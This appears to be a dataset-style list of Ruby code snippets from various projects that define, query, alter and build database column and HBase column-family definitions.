"def cfd(arg, tdb)\n # String arg, single parameter constructor\n return ColumnFamilyDescriptorBuilder.of(arg) if arg.is_a?(String)\n\n raise(ArgumentError, \"Column family #{arg} must have a name\") unless name = arg.delete(NAME)\n\n descriptor = tdb.build.getColumnFamily(name.to_java_bytes)\n unless descriptor.nil?\n cfdb = ColumnFamilyDescriptorBuilder.newBuilder(descriptor)\n end\n # create it if it's a new family\n cfdb ||= ColumnFamilyDescriptorBuilder.newBuilder(name.to_java_bytes)\n\n cfdb.setBlockCacheEnabled(JBoolean.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::BLOCKCACHE))) if arg.include?(ColumnFamilyDescriptorBuilder::BLOCKCACHE)\n cfdb.setScope(JInteger.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::REPLICATION_SCOPE))) if arg.include?(ColumnFamilyDescriptorBuilder::REPLICATION_SCOPE)\n cfdb.setCacheDataOnWrite(JBoolean.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::CACHE_DATA_ON_WRITE))) if arg.include?(ColumnFamilyDescriptorBuilder::CACHE_DATA_ON_WRITE)\n cfdb.setCacheIndexesOnWrite(JBoolean.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::CACHE_INDEX_ON_WRITE))) if arg.include?(ColumnFamilyDescriptorBuilder::CACHE_INDEX_ON_WRITE)\n cfdb.setCacheBloomsOnWrite(JBoolean.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::CACHE_BLOOMS_ON_WRITE))) if arg.include?(ColumnFamilyDescriptorBuilder::CACHE_BLOOMS_ON_WRITE)\n cfdb.setEvictBlocksOnClose(JBoolean.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::EVICT_BLOCKS_ON_CLOSE))) if arg.include?(ColumnFamilyDescriptorBuilder::EVICT_BLOCKS_ON_CLOSE)\n cfdb.setInMemory(JBoolean.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::IN_MEMORY))) if arg.include?(ColumnFamilyDescriptorBuilder::IN_MEMORY)\n if arg.include?(ColumnFamilyDescriptorBuilder::IN_MEMORY_COMPACTION)\n cfdb.setInMemoryCompaction(\n org.apache.hadoop.hbase.MemoryCompactionPolicy.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::IN_MEMORY_COMPACTION))\n )\n end\n cfdb.setTimeToLive(arg.delete(ColumnFamilyDescriptorBuilder::TTL)) if arg.include?(ColumnFamilyDescriptorBuilder::TTL)\n cfdb.setDataBlockEncoding(org.apache.hadoop.hbase.io.encoding.DataBlockEncoding.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::DATA_BLOCK_ENCODING))) if arg.include?(ColumnFamilyDescriptorBuilder::DATA_BLOCK_ENCODING)\n cfdb.setBlocksize(arg.delete(ColumnFamilyDescriptorBuilder::BLOCKSIZE)) if arg.include?(ColumnFamilyDescriptorBuilder::BLOCKSIZE)\n cfdb.setMaxVersions(JInteger.valueOf(arg.delete(HConstants::VERSIONS))) if arg.include?(HConstants::VERSIONS)\n cfdb.setMinVersions(JInteger.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::MIN_VERSIONS))) if arg.include?(ColumnFamilyDescriptorBuilder::MIN_VERSIONS)\n cfdb.setKeepDeletedCells(org.apache.hadoop.hbase.KeepDeletedCells.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::KEEP_DELETED_CELLS).to_s.upcase)) if arg.include?(ColumnFamilyDescriptorBuilder::KEEP_DELETED_CELLS)\n cfdb.setCompressTags(JBoolean.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::COMPRESS_TAGS))) if arg.include?(ColumnFamilyDescriptorBuilder::COMPRESS_TAGS)\n cfdb.setPrefetchBlocksOnOpen(JBoolean.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::PREFETCH_BLOCKS_ON_OPEN))) if arg.include?(ColumnFamilyDescriptorBuilder::PREFETCH_BLOCKS_ON_OPEN)\n cfdb.setMobEnabled(JBoolean.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::IS_MOB))) if arg.include?(ColumnFamilyDescriptorBuilder::IS_MOB)\n cfdb.setMobThreshold(JLong.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::MOB_THRESHOLD))) if arg.include?(ColumnFamilyDescriptorBuilder::MOB_THRESHOLD)\n cfdb.setNewVersionBehavior(JBoolean.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::NEW_VERSION_BEHAVIOR))) if arg.include?(ColumnFamilyDescriptorBuilder::NEW_VERSION_BEHAVIOR)\n if arg.include?(ColumnFamilyDescriptorBuilder::BLOOMFILTER)\n bloomtype = arg.delete(ColumnFamilyDescriptorBuilder::BLOOMFILTER).upcase.to_sym\n if org.apache.hadoop.hbase.regionserver.BloomType.constants.include?(bloomtype)\n cfdb.setBloomFilterType(org.apache.hadoop.hbase.regionserver.BloomType.valueOf(bloomtype))\n else\n raise(ArgumentError, \"BloomFilter type #{bloomtype} is not supported. Use one of \" + org.apache.hadoop.hbase.regionserver.StoreFile::BloomType.constants.join(' '))\n end\n end\n if arg.include?(ColumnFamilyDescriptorBuilder::COMPRESSION)\n compression = arg.delete(ColumnFamilyDescriptorBuilder::COMPRESSION).upcase.to_sym\n if org.apache.hadoop.hbase.io.compress.Compression::Algorithm.constants.include?(compression)\n cfdb.setCompressionType(org.apache.hadoop.hbase.io.compress.Compression::Algorithm.valueOf(compression))\n else\n raise(ArgumentError, \"Compression #{compression} is not supported. Use one of \" + org.apache.hadoop.hbase.io.compress.Compression::Algorithm.constants.join(' '))\n end\n end\n if arg.include?(ColumnFamilyDescriptorBuilder::ENCRYPTION)\n algorithm = arg.delete(ColumnFamilyDescriptorBuilder::ENCRYPTION).upcase\n cfdb.setEncryptionType(algorithm)\n if arg.include?(ColumnFamilyDescriptorBuilder::ENCRYPTION_KEY)\n key = org.apache.hadoop.hbase.io.crypto.Encryption.generateSecretKey(\n @conf, algorithm, arg.delete(ColumnFamilyDescriptorBuilder::ENCRYPTION_KEY)\n )\n cfdb.setEncryptionKey(org.apache.hadoop.hbase.security.EncryptionUtil.wrapKey(@conf, key,\n algorithm))\n end\n end\n if arg.include?(ColumnFamilyDescriptorBuilder::COMPRESSION_COMPACT)\n compression = arg.delete(ColumnFamilyDescriptorBuilder::COMPRESSION_COMPACT).upcase.to_sym\n if org.apache.hadoop.hbase.io.compress.Compression::Algorithm.constants.include?(compression)\n cfdb.setCompactionCompressionType(org.apache.hadoop.hbase.io.compress.Compression::Algorithm.valueOf(compression))\n else\n raise(ArgumentError, \"Compression #{compression} is not supported. Use one of \" + org.apache.hadoop.hbase.io.compress.Compression::Algorithm.constants.join(' '))\n end\n end\n if arg.include?(ColumnFamilyDescriptorBuilder::COMPRESSION_COMPACT_MAJOR)\n compression = arg.delete(ColumnFamilyDescriptorBuilder::COMPRESSION_COMPACT_MAJOR).upcase.to_sym\n if org.apache.hadoop.hbase.io.compress.Compression::Algorithm.constants.include?(compression)\n cfdb.setMajorCompactionCompressionType(org.apache.hadoop.hbase.io.compress.Compression::Algorithm.valueOf(compression))\n else\n raise(ArgumentError, \"Compression #{compression} is not supported. Use one of \" + org.apache.hadoop.hbase.io.compress.Compression::Algorithm.constants.join(' '))\n end\n end\n if arg.include?(ColumnFamilyDescriptorBuilder::COMPRESSION_COMPACT_MINOR)\n compression = arg.delete(ColumnFamilyDescriptorBuilder::COMPRESSION_COMPACT_MINOR).upcase.to_sym\n if org.apache.hadoop.hbase.io.compress.Compression::Algorithm.constants.include?(compression)\n cfdb.setMinorCompactionCompressionType(org.apache.hadoop.hbase.io.compress.Compression::Algorithm.valueOf(compression))\n else\n raise(ArgumentError, \"Compression #{compression} is not supported. Use one of \" + org.apache.hadoop.hbase.io.compress.Compression::Algorithm.constants.join(' '))\n end\n end\n if arg.include?(ColumnFamilyDescriptorBuilder::STORAGE_POLICY)\n storage_policy = arg.delete(ColumnFamilyDescriptorBuilder::STORAGE_POLICY).upcase\n cfdb.setStoragePolicy(storage_policy)\n end\n if arg.include?(ColumnFamilyDescriptorBuilder::MOB_COMPACT_PARTITION_POLICY)\n mob_partition_policy = arg.delete(ColumnFamilyDescriptorBuilder::MOB_COMPACT_PARTITION_POLICY).upcase.to_sym\n if MobCompactPartitionPolicy.constants.include?(mob_partition_policy)\n cfdb.setMobCompactPartitionPolicy(MobCompactPartitionPolicy.valueOf(mob_partition_policy))\n else\n raise(ArgumentError, \"MOB_COMPACT_PARTITION_POLICY #{mob_partition_policy} is not supported. Use one of \" + MobCompactPartitionPolicy.constants.join(' '))\n end\n end\n\n set_user_metadata(cfdb, arg.delete(METADATA)) if arg[METADATA]\n set_descriptor_config(cfdb, arg.delete(CONFIGURATION)) if arg[CONFIGURATION]\n if arg.include?(ColumnFamilyDescriptorBuilder::DFS_REPLICATION)\n cfdb.setDFSReplication(JInteger.valueOf(arg.delete(ColumnFamilyDescriptorBuilder::DFS_REPLICATION)))\n end\n\n arg.each_key do |unknown_key|\n puts(format('Unknown argument ignored for column family %s: %s', name, unknown_key))\n end\n\n cfdb.build\n end",
"def create_temporary_fake_column(column_name)\n ::FlexColumns::Definition::FakeColumn.new(column_name)\n end",
"def insert_column_definition(args)\r\n\r\n submission_database_id = nil\r\n submission = args[:submission]\r\n column_name = args[:column_name]\r\n ce_field = args[:ce_field]\r\n form_table_name = args[:form_table_name]\r\n kapp_slug = args[:kapp_slug]\r\n form_slug = args[:form_slug]\r\n\r\n field_id_lookup = {}\r\n submission['form']['fields'].each do |field|\r\n id = field['key']\r\n name = field['name']\r\n field_id_lookup[name] = id\r\n end\r\n\r\n table_def_name = \"column_definitions\"\r\n\r\n #Table definition generation.\r\n # Once the table has been created/modified/verified, insert the submission into the table\r\n db_submission = {\r\n :tableName => form_table_name,\r\n :kappSlug => kapp_slug,\r\n :formSlug => form_slug,\r\n :fieldName => ce_field,\r\n :fieldKey => field_id_lookup[ce_field],\r\n :columnName => column_name\r\n }\r\n\r\n puts \"Upserting the column definition for the column name '#{column_name}'\" if @enable_debug_logging\r\n db_submissions = @db[table_def_name.to_sym]\r\n if db_submissions.select(:tableName).where(:tableName => form_table_name, :columnName => column_name).count == 0 then\r\n submission_database_id = db_submissions.insert(db_submission)\r\n else\r\n submission_database_id = db_submissions.where(:tableName => form_table_name, :columnName => column_name).update(db_submission) unless @info_values['ignore_updates']\r\n end\r\n\r\n submission_database_id\r\n\r\n end",
"def column(name, query = nil, **options, &block)\n self.class.define_column(columns_array, name, query, **options, &block)\n end",
"def column_definitions(table_name) # :nodoc:\n query(<<-end_sql, 'SCHEMA')\n SELECT a.attname, format_type(a.atttypid, a.atttypmod),\n pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod,\n format_encoding(a.attencodingtype::integer)\n FROM pg_attribute a LEFT JOIN pg_attrdef d\n ON a.attrelid = d.adrelid AND a.attnum = d.adnum\n WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass\n AND a.attnum > 0 AND NOT a.attisdropped\n ORDER BY a.attnum\n end_sql\n end",
"def column_definitions(table_name) #:nodoc:\n pieces = table_name.split('.')\n \n if pieces.length == 1\n schema_name = 'public'\n table_name = pieces.last\n else\n schema_name, table_name = pieces.first, pieces.last\n end\n \n query <<-end_sql\n SELECT column_name, data_type, column_default, is_nullable\n FROM v_catalog.columns\n WHERE table_schema = '#{schema_name.gsub(/(^\"|\"$)/,'')}'\n AND table_name = '#{table_name.gsub(/(^\"|\"$)/,'')}'\n end_sql\n end",
"def column_definitions(table_name)\n select_rows(<<-end_sql, 'SCHEMA')\n SELECT a.attname, format_type(a.atttypid, a.atttypmod),\n pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod,\n (SELECT c.collname FROM pg_collation c, pg_type t\n WHERE c.oid = a.attcollation AND t.oid = a.atttypid\n AND a.attcollation <> t.typcollation),\n col_description(a.attrelid, a.attnum) AS comment\n FROM pg_attribute a\n LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum\n WHERE a.attrelid = #{quote(quote_table_name(table_name))}::regclass\n AND a.attnum > 0 AND NOT a.attisdropped\n ORDER BY a.attnum\n end_sql\n end",
"def to_definition\n DynamicModel::AttributeDefinition.new({\n :class_type => self.class_type,\n :name => self.name,\n :type => self.type,\n :length => self.length,\n :required => self.required,\n :default => self.default\n })\n end",
"def set_column_factory(table_name, column_name, factory)\n (@column_factories[table_name.to_s] ||= {})[column_name.to_s] = factory\n end",
"def hcd(arg, htd)\n # String arg, single parameter constructor\n return org.apache.hadoop.hbase.HColumnDescriptor.new(arg) if arg.kind_of?(String)\n\n raise(ArgumentError, \"Column family #{arg} must have a name\") unless name = arg[NAME]\n\n family = htd.getFamily(name.to_java_bytes)\n # create it if it's a new family\n family ||= org.apache.hadoop.hbase.HColumnDescriptor.new(name.to_java_bytes)\n\n family.setBlockCacheEnabled(JBoolean.valueOf(arg[org.apache.hadoop.hbase.HColumnDescriptor::BLOCKCACHE])) if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::BLOCKCACHE)\n family.setScope(JInteger.valueOf(arg[org.apache.hadoop.hbase.HColumnDescriptor::REPLICATION_SCOPE])) if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::REPLICATION_SCOPE)\n family.setInMemory(JBoolean.valueOf(arg[org.apache.hadoop.hbase.HColumnDescriptor::IN_MEMORY])) if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::IN_MEMORY)\n family.setTimeToLive(JInteger.valueOf(arg[org.apache.hadoop.hbase.HColumnDescriptor::TTL])) if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::TTL)\n family.setDataBlockEncoding(org.apache.hadoop.hbase.io.encoding.DataBlockEncoding.valueOf(arg[org.apache.hadoop.hbase.HColumnDescriptor::DATA_BLOCK_ENCODING])) if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::DATA_BLOCK_ENCODING)\n family.setEncodeOnDisk(JBoolean.valueOf(arg[org.apache.hadoop.hbase.HColumnDescriptor::ENCODE_ON_DISK])) if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::ENCODE_ON_DISK)\n family.setBlocksize(JInteger.valueOf(arg[org.apache.hadoop.hbase.HColumnDescriptor::BLOCKSIZE])) if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::BLOCKSIZE)\n family.setMaxVersions(JInteger.valueOf(arg[org.apache.hadoop.hbase.HColumnDescriptor::VERSIONS])) if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::VERSIONS)\n family.setMinVersions(JInteger.valueOf(arg[org.apache.hadoop.hbase.HColumnDescriptor::MIN_VERSIONS])) if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::MIN_VERSIONS)\n family.setKeepDeletedCells(JBoolean.valueOf(arg[org.apache.hadoop.hbase.HColumnDescriptor::KEEP_DELETED_CELLS])) if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::KEEP_DELETED_CELLS)\n if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::BLOOMFILTER)\n bloomtype = arg[org.apache.hadoop.hbase.HColumnDescriptor::BLOOMFILTER].upcase\n unless org.apache.hadoop.hbase.regionserver.StoreFile::BloomType.constants.include?(bloomtype) \n raise(ArgumentError, \"BloomFilter type #{bloomtype} is not supported. Use one of \" + org.apache.hadoop.hbase.regionserver.StoreFile::BloomType.constants.join(\" \")) \n else \n family.setBloomFilterType(org.apache.hadoop.hbase.regionserver.StoreFile::BloomType.valueOf(bloomtype))\n end\n end\n if arg.include?(org.apache.hadoop.hbase.HColumnDescriptor::COMPRESSION)\n compression = arg[org.apache.hadoop.hbase.HColumnDescriptor::COMPRESSION].upcase\n unless org.apache.hadoop.hbase.io.compress.Compression::Algorithm.constants.include?(compression)\n raise(ArgumentError, \"Compression #{compression} is not supported. Use one of \" + org.apache.hadoop.hbase.io.compress.Compression::Algorithm.constants.join(\" \")) \n else \n family.setCompressionType(org.apache.hadoop.hbase.io.compress.Compression::Algorithm.valueOf(compression))\n end\n end\n\n if arg[CONFIGURATION]\n raise(ArgumentError, \"#{CONFIGURATION} must be a Hash type\") unless arg.kind_of?(Hash)\n for k,v in arg[CONFIGURATION]\n v = v.to_s unless v.nil?\n family.setValue(k, v)\n end\n end\n return family\n end",
"def generateColumnDef()\n res=@conn.exec(\"select tablename from pg_tables where schemaname='public'\")\n classObj = \"\"\n for i in res\n classObj = classObj + \"\\n\\n\\n== \"+ i[0].to_s + \"\\n\"\n classObj = classObj + genrateTabledesc(i[0].to_s)\n classObj = classObj + \"\\n\"\n classObj = classObj + \".Properties\\n\"\n classObj = classObj + \"[frame=\\\"none\\\",options=\\\"header\\\"]\\n\"\n classObj = classObj + \"|======================================================================================\\n\"\n classObj = classObj + \"| | Data Type | Description \\n\"\n classObj = classObj + self.singleTableColDef(i.to_s)\n classObj = classObj + \"|======================================================================================\\n\"\n classObj = classObj + \"=== Links\\n\"\n classObj = classObj + self.generateForeignKeyDef(i.to_s)\n classObj = classObj + \"=== Methods\\n\"\n classObj = classObj + self.generateStoredProcDef(i.to_s)\n end\n puts classObj\n return classObj\n end",
"def columns\n Proc.new do\n <<-SQL\n id integer primary key autoincrement,\n sample_id integer, --foreign key to reference the original revision\n \n --these are all true contemporaneous of the edit, post or pre-edit may be different\n account_creation timestamp(20), --this should be the entry in the logevents call, but if we exceed the max number of requests, we won't get it\n account_lifetime integer, --this is the lifetime of the account in seconds\n edits_last_second integer, --want a figure to show recent activity do buckets instead\n edits_last_minute integer,\n edits_last_hour integer,\n edits_last_day integer,\n edits_last_week integer,\n edits_last_month integer,\n edits_last_year integer,\n total_edits integer,\n --rights_grant_count \n --rights_removal_count\n --groups string,\n FOREIGN KEY(sample_id) REFERENCES irc_wikimedia_org_en_wikipedia(id) --these foreign keys probably won't be enforced b/c sqlite doesn't include it by default--TODO this foreign table name probably shouldn't be hard coded\nSQL\n end\n end",
"def columns(table_name, name = nil)\n # Limit, precision, and scale are all handled by the superclass.\n column_definitions(table_name).collect do |name, type, default, notnull|\n notnull = [false, true][notnull]\n Column.new(name, default, type, notnull)\n end\n end",
"def column_definitions(table_name) # :nodoc:\n local_condition = 'AND a.attislocal IS TRUE' if @_dump_mode\n query(<<-SQL, 'SCHEMA')\n SELECT a.attname, format_type(a.atttypid, a.atttypmod),\n pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod,\n (SELECT c.collname FROM pg_collation c, pg_type t\n WHERE c.oid = a.attcollation AND t.oid = a.atttypid AND a.attcollation <> t.typcollation),\n col_description(a.attrelid, a.attnum) AS comment\n FROM pg_attribute a\n LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum\n WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass\n AND a.attnum > 0\n AND a.attisdropped IS FALSE\n #{local_condition}\n ORDER BY a.attnum\n SQL\n end",
"def add_column(create_table_cmd)\r\n puts\"what would you like the value in this column to be called?\"\r\n column_name = get_valid_name\r\n puts \"what type of data would you like stored in this column #{DATA_TYPES}\"\r\n data_type = get_valid_data_type\r\n variable = 'VARCHAR(255)' if data_type == 'letters'\r\n variable = 'INT' if data_type == 'numbers'\r\n variable = 'BOOLEAN' if data_type == 'true/false'\r\n create_table_cmd += \", #{column_name} #{variable}\"\r\n end",
"def column(name, query = nil, **options, &block)\n define_column(columns_array, name, query, **options, &block)\n end",
"def __column_data__\n ColumnData.new(@columns, @primary_keys, @to_avoid, @default_values, @associations)\n end",
"def column_definitions(table_name)\n select_rows(<<-end_sql, 'SCHEMA')\n SELECT a.attname, format_type(a.atttypid, a.atttypmod),\n pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod\n FROM pg_attribute a LEFT JOIN pg_attrdef d\n ON a.attrelid = d.adrelid AND a.attnum = d.adnum\n WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass\n AND a.attnum > 0 AND NOT a.attisdropped\n ORDER BY a.attnum\n end_sql\n end",
"def add name, gc_rule = nil\n cf = Google::Bigtable::Admin::V2::ColumnFamily.new\n cf.gc_rule = gc_rule.to_grpc if gc_rule\n self[name] = cf\n end",
"def attributes_from_column_definition\n connection.columns(self.class.table_name, \"#{self.class.name} Columns\").inject({}) do |attributes, column| \n attributes[column.name] = column.default unless column.name == self.class.primary_key\n attributes\n end\n end",
"def column_for_attribute(column)\n attribute_info = self.class._attributes[column]\n OpenStruct.new(\n :name => attribute_info.name,\n :type => attribute_info.type,\n :null => !attribute_info.required?,\n :default => attribute_info.default\n )\n end",
"def column_for_attribute(column)\n attribute_info = self.class._attributes[column]\n OpenStruct.new(\n :name => attribute_info.name,\n :type => attribute_info.type,\n :null => !attribute_info.required?,\n :default => attribute_info.default\n )\n end",
"def field_changes\n table_name = if table_name_changed\n prev_table_name\n else\n self.table_name\n end\n\n begin\n cols = table_columns\n old_colnames = cols.map(&:name) - standard_columns\n old_colnames = old_colnames.reject { |f| f.index(/^embedded_report_|^placeholder_/) }\n rescue StandardError\n return\n end\n\n fields = migration_fields_array\n new_colnames = fields.map(&:to_s) - standard_columns\n\n added = new_colnames - old_colnames\n removed = old_colnames - new_colnames\n changed = {}\n db_configs.each do |k, v|\n current_type = cols.find { |c| c.name == k.to_s }&.type\n next unless v[:type] && current_type\n\n expected_type = v[:type]&.to_sym\n current_type = :timestamp if current_type == :datetime\n changed[k.to_s] = expected_type if current_type != expected_type\n end\n\n if belongs_to_model\n belongs_to_model_id = \"#{belongs_to_model}_id\"\n removed -= [belongs_to_model_id]\n end\n\n [added, removed, changed, old_colnames]\n end",
"def rename_column(table_name, column_name, new_column_name, options = {}) #:nodoc:\n column_info = select_one(\"SHOW FULL FIELDS FROM #{table_name} LIKE '#{column_name}'\")\n current_type = column_info[\"Type\"]\n options[:comment] ||= column_info[\"Comment\"]\n sql = \"ALTER TABLE #{table_name} CHANGE #{column_name} #{new_column_name} #{current_type}\"\n sql << \" COMMENT #{quote(options[:comment])}\" unless options[:comment].blank?\n execute sql\n end",
"def change_column(table_name, column_name, type, options = {})\n clear_cache!\n quoted_table_name = quote_table_name(table_name)\n sql_type = type_to_sql(type, options[:limit], options[:precision], options[:scale])\n sql = \"ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{sql_type}\"\n sql << \" USING #{options[:using]}\" if options[:using]\n if options[:cast_as]\n sql << \" USING CAST(#{quote_column_name(column_name)} AS #{type_to_sql(options[:cast_as], options[:limit], options[:precision], options[:scale])})\"\n end\n execute sql\n\n change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)\n change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)\n end",
"def add_column(table_name, field_name, field_type)\n field_type = correct_field_type(field_type)\n\n column_functional(table_name) do\n add_table_column(field_name, field_type)\n end\n end",
"def change_column(table_name, column_name, type, options = {})\n execute(\n \"ALTER TABLE #{quote_table_name(table_name)} \"+\n \"ALTER COLUMN #{quote_column_name(column_name)} \"+\n \"SET DATA TYPE #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}\",\n SCHEMA_LOG_NAME\n )\n change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)\n change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)\n end",
"def changed_columns\n @changed_columns ||= []\n end",
"def changed_columns\n @changed_columns ||= []\n end",
"def get_column_factory(table_name, column_name, params = nil)\n table_name = table_name.to_s\n column_name = column_name.to_s\n result = (@column_factories[table_name] ||= {})[column_name] ||\n @factory_generators[table_name] || ::RGeo::ActiveRecord::DEFAULT_FACTORY_GENERATOR\n if params && !result.kind_of?(::RGeo::Feature::Factory::Instance)\n result = result.call(params)\n end\n result\n end",
"def column_definition_sql(column)\n sql = String.new\n sql << \"#{quote_identifier(column[:name])} #{type_literal(column)}\"\n column_definition_order.each{|m| send(:\"column_definition_#{m}_sql\", sql, column)}\n sql\n end",
"def build\n column_value.nil? ? default_value : send(:\"column_value_#{column_type}\")\n end",
"def modify_column_families instance_id, table_id, modifications\n tables.modify_column_families name: table_path(instance_id, table_id), modifications: modifications\n end",
"def change(column_name, type, **options)\n raise_on_if_exist_options(options)\n @base.change_column(name, column_name, type, **options)\n end",
"def columns(table_name, name = nil)\n # Limit, precision, and scale are all handled by the superclass.\n column_definitions(table_name).collect do |name, type, default, notnull|\n VerticaColumn.new(name, default, type, notnull == 'false')\n end\n end",
"def alter_table_sql(table, op)\n\t if op[:op] == :add_column\n subclause = \"ADD #{column_definition_sql(op)}\"\n else\n quoted_name = quote_identifier(op[:name]) if op[:name]\n case op[:op]\n when :set_column_type\n subclause = \"MODIFY #{quoted_name} #{type_literal(op)}\"\n when :set_column_default\n subclause = \"MODIFY #{quoted_name} DEFAULT #{literal(op[:default])}\"\n when :set_column_null\n subclause = \"MODIFY #{quoted_name} #{op[:null] ? 'NULL' : 'NOT NULL'}\"\n when :modify_constraint\n subclause = \"MODIFY #{constraint_definition_sql(op)}\"\n else\n\t return super(table, op)\n end\n end\n \"ALTER TABLE #{quote_schema_table(table)} #{subclause}\"\n\t end",
"def singleTableColDef(tabName)\n res=@conn.exec(\"SELECT column_name,data_type,column_default,is_nullable FROM information_schema.columns WHERE table_name ='#{tabName}'\")\n retType=\"\"\n for i in res\n colVal = \"+\"+i[0].to_s+\"+\" \n dataType = \"+\"+i[1].to_s+\"+\" \n retType = retType + \"|\"+colVal.center(25)+\"|\"+dataType.center(24)+\"|\"+self.singleTableColDesc(tabName)\n retType = retType + \"\\n\"\n end\n return retType\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :add_column\n \"ALTER TABLE #{quote_schema_table(table)} ADD #{column_definition_sql(op)}\"\n when :drop_column\n \"ALTER TABLE #{quote_schema_table(table)} DROP #{column_definition_sql(op)}\"\n when :rename_column\n \"ALTER TABLE #{quote_schema_table(table)} ALTER #{quote_identifier(op[:name])} TO #{quote_identifier(op[:new_name])}\"\n when :set_column_type\n \"ALTER TABLE #{quote_schema_table(table)} ALTER #{quote_identifier(op[:name])} TYPE #{type_literal(op)}\"\n else\n super(table, op)\n end\n end",
"def definition_builder; end",
"def definition_builder; end",
"def column(column)\n Column.new(@data, column)\n end",
"def create\n @column = Column.new(column_params)\n @column.board = @board\n\n if @column.save\n BoardChannel.broadcast_to(@board, {action: 'newColumn', column: @column})\n render :show, status: :created\n else\n render json: @column.errors, status: :unprocessable_entity\n end\n end",
"def clone(opts = {})\n c = super()\n c.opts = @opts.merge(opts)\n c.instance_variable_set(:@columns, nil) unless (opts.keys & COLUMN_CHANGE_OPTS).empty?\n c\n end",
"def column(*args, &block)\n columns << Column.new(*args, &block)\n end",
"def columns(*args,&block)\n if (args && args.any?) || block_given? || !@columns\n self.columns = Lolita::Configuration::Columns.new(dbi,*args,&block)\n end\n @columns\n end",
"def to_table_column\n col_type = type ? type.to_sym : :string\n [column_name, col_type, { index: index_options, default: default }]\n end",
"def create_column_list\n for columnID in 1..Battery.num_columns do\n column = Column.new(columnID)\n column.create_elevator_list()\n column.create_call_buttons()\n\n @column_list.append(column)\n end\n end",
"def column(name, sql_type = nil, default = nil, null = true)\n options = [name.to_s, default, sql_type.to_s, null]\n if ActiveRecord::VERSION::STRING >= \"4.2.0\"\n options.insert(2, ActiveRecordTypeFinder.new(sql_type).constantize)\n end\n tableless_options[:columns] << ActiveRecord::ConnectionAdapters::Column.new(*options)\n end",
"def initialize(table, column, type, allow_nil = false, allow_blank = false)\n @column = column\n @table = table\n @type = type\n @if_cond = nil\n @unless_cond = nil\n @allow_blank = allow_blank\n @allow_nil = allow_nil\n @is_new_column = false\n @custom_error_msg = false\n @has_cond = false\n end",
"def column(name, options = nil)\n column = Column.new(name, options)\n @list[name] = column\n end",
"def set_columns(new_columns)\n @columns = new_columns\n def_column_accessor(*new_columns) if new_columns\n @columns\n end",
"def set_columns(new_columns)\n @columns = new_columns\n def_column_accessor(*new_columns) if new_columns\n @columns\n end",
"def create_change(change)\n Change.create(:changeset => self,\n :action => change[:action],\n :path => change[:path],\n :from_path => change[:from_path],\n :from_revision => change[:from_revision])\n end",
"def add_definition( name, *args )\n name, *args = schema.apply_defaults( self.name, name, *args )\n case name\n when :index\n add_index( *args )\n when :foreign_key\n add_foreign_key( *args )\n else\n add_column( name, *args )\n end\n end",
"def coerce_constraint_definition(defn)\n defn = coerce_symbolized_hash(defn)\n defn[:type] = coerce_name(defn[:type])\n \n case type = defn[:type]\n when :primary_key, :candidate_key\n has_exactly_hash_keys!(defn, :type, :attributes)\n defn[:attributes] = coerce_attribute_names(defn[:attributes], true)\n when :foreign_key\n if defn.key?(:key)\n has_exactly_hash_keys!(defn, :type, :attributes, :references, :key)\n defn[:attributes] = coerce_attribute_names(defn[:attributes], true)\n defn[:references] = coerce_name(defn[:references])\n defn[:key] = coerce_name(defn[:key])\n else\n has_exactly_hash_keys!(defn, :type, :attributes, :references)\n defn[:attributes] = coerce_attribute_names(defn[:attributes], true)\n defn[:references] = coerce_name(defn[:references])\n end\n else\n invalid!(\"unknown constraint type #{type}\")\n end\n defn\n end",
"def rename_column_concurrently(table, old_column, new_column, type: nil, batch_column_name: :id)\n Gitlab::Database::QueryAnalyzers::RestrictAllowedSchemas.require_ddl_mode!\n\n setup_renamed_column(__callee__, table, old_column, new_column, type, batch_column_name)\n\n with_lock_retries do\n install_bidirectional_triggers(table, old_column, new_column)\n end\n end",
"def modify_column_families instance_id, table_id, modifications\n execute do\n tables.modify_column_families(\n table_path(instance_id, table_id),\n modifications\n )\n end\n end",
"def column(name, type)\n @fields.merge!(name => type.to_s)\n end",
"def create_column(project_id, name)\n request(method: 'addColumn', params: { project_id: project_id, title: name })\n end",
